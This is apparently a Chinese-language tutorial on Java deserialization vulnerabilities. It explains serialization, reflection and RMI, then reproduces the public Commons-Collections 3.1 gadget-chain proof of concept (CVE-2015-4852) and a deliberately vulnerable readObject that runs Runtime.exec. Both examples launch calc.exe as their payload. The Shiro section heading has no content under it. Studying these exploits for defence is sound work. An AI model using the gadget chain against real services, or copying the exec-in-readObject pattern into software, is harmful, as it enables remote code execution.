java反序列化漏洞是java中比较常见的漏洞。

基础概念

定义

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程。
反序列化即逆过程,由字节流还原成对象。
注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途

1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中
2) 在网络上传送对象的字节序列

应用场景
1)一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。
2)在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

漏洞原由

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

API实现

操作 类名 方法 方法作用
序列化 Java.io.ObjectOutputStream writeObject() 该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
反序列化 java.io.ObjectInputStream readObject() 该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

注意:实现Serializable和Externalizable接口的类的对象才能被序列化

反序列化漏洞利用例子:
readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行。

Ye1s类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Ye1s implements Serializable {
private String cmd;
private void readObject(ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}

public String getCmd() {
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

Main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.*;

public class Main {
public static void main(String[] args) throws Exception{
Ye1s ye1s=new Ye1s();
ye1s.setCmd("calc");
byte[] serializeData=serialize(ye1s);
System.out.println(serializeData);
unserilize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception{
ByteArrayOutputStream btout=new ByteArrayOutputStream();
ObjectOutputStream objOut=new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();

}
public static Object unserilize(final byte[] serialized) throws Exception{
ByteArrayInputStream bthin=new ByteArrayInputStream(serialized);
ObjectInputStream objIn=new ObjectInputStream(bthin);
return objIn.readObject();
}
}

java反射

Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

  • 类对象表示正在运行的 Java 应用程序中的类和接口
  • 类对象没有公共构造方法,由 Java 虚拟机自动构造
  • 类对象用于提供类本身的信息,比如有几种构造方法, 有多少属性,有哪些普通方法

获取类对象
假设现在有一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package reflection;

public class User {
private String name;

public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}

要获取该类对象一般有三种方法

1
2
3
class.forName("reflection.User")
User.class
new User().getClass()

最常用的是第一种,通过一个字符串即类的全路径名就可以得到类对象,另外两种方法依赖项太强

利用类对象创建对象
与new直接创建对象不同,反射是先拿到类对象,然后通过类对象获取构造器对象,再通过构造器对象创建一个对象。

1
2
3
4
5
6
7
8
9
10
package reflection;
import java.lang.reflect.Constructor;
public class CreateObject {
public static void main(String[] args) throws Exception{
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User) constructor.newInstance("ye1s");
System.out.println(user.getName());
}
}
方法 说明
getConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
getConstructors() 获得该类的所有公有构造方法
getDeclaredConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() 获得该类所有构造方法

通过反射调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class CallMethod {
public static void main(String[] args) throws Exception{
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User)constructor.newInstance("ye1s");

Method method=UserClass.getMethod("setName", String.class);
method.invoke(user,"yesi");
System.out.println(user.getName());
}
}
方法 说明
getMethod(String name, Class…<?> parameterTypes) 获得该类某个公有的方法
getMethods() 获得该类所有公有的方法
getDeclaredMethod(String name, Class…<?> parameterTypes) 获得该类某个方法
getDeclaredMethods() 获得该类所有方法

通过反射访问属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class AccessAttribute {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User)constructor.newInstance("ye1s");
Field field=UserClass.getDeclaredField("name");
field.setAccessible(true);// name是私有属性,需要先设置可访问
field.set(user,"yesi");
System.out.println(user.getName());
}
}
方法 说明
getField(String name) 获得某个公有的属性对象
getFields() 获得所有公有的属性对象
getDeclaredField(String name) 获得某个属性对
getDeclaredFields() 获得所有属性对象

利用java反射执行代码

1
2
3
4
5
6
7
8
9
10
package reflection;

public class Exec {
public static void main(String[] args) throws Exception{
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec",String.class).invoke(runtime,"calc.exe");

}
}

JAVA RMI

详情可看JAVA RMI 反序列化知识详解

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。

RMI调用逻辑:

RMI主要分为三部分

  • RMI Registry注册中心
  • Client 客户端
  • RMI Server服务端

样例如下:

创建注册中心
HelloRegistry.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;


public class HelloRegistry {
public static void main(String[] args) {
try{
LocateRegistry.createRegistry(1099);
}catch (RemoteException e){
e.printStackTrace();
}
while (true);
}
}

RMI Server服务端
先创建一个继承java.rmi.Remote的接口
HelloInterface.java

1
2
3
 public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}

继承UnicastRemoteObject类,实现上面的接口
HelloImpl.java
1
2
3
4
5
6
7
8
9
10
11
12
 import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}

写服务端的启动类,用于创建远程对象注册表和注册远程对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloServer {
public static void main(String[] args) {
try{
String rmiName="ye1s";
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind(rmiName,new HelloImpl());

}catch (RemoteException | AlreadyBoundException e){
e.printStackTrace();
}
}
}

连接注册服务 查找ye1s对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HelloClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("ye1s");
System.out.println(hello.sayHello("flag"));
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

对于Naming和LocateRegistry的理解可以从下面的文章了解
java.rmi.Naming和java.rmi.registry.LocateRegistry的区别

攻击方式
服务端攻击注册中心
注册中心攻击客户端
客户端攻击注册中心

Apache-CommonsCollections

commons-collections-3.1 jar包,cve编号:cve-2015-4852
首先先下载ConmonsCollection3.1版本

详情分析可看此篇文章
JAVA反序列化 - Commons-Collections组件

网上常见的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
* @author ye1s
* Time 2020/6/11 22:13
*/
public class Commons_collections_3_1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

大概的漏洞实现流程

1
2
3
4
5
6
Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
根据数组,先进入 => ConstantTransformer.transform(Object input)
再进入 => InvokerTransformer.transform(Object input)

ysoserial-CommonsCollections1-7分析+调试
https://github.com/Wfzsec/ysoserial-CommonsCollections-poc

Shiro RememberMe 1.2.4

参考文章:
Java反序列化漏洞原理解析
Java反序列化漏洞分析
攻击Java Web应用-Java Web安全
JAVA RMI 反序列化知识详解
java.rmi.Naming和java.rmi.registry.LocateRegistry的区别
JAVA反序列化 - Commons-Collections组件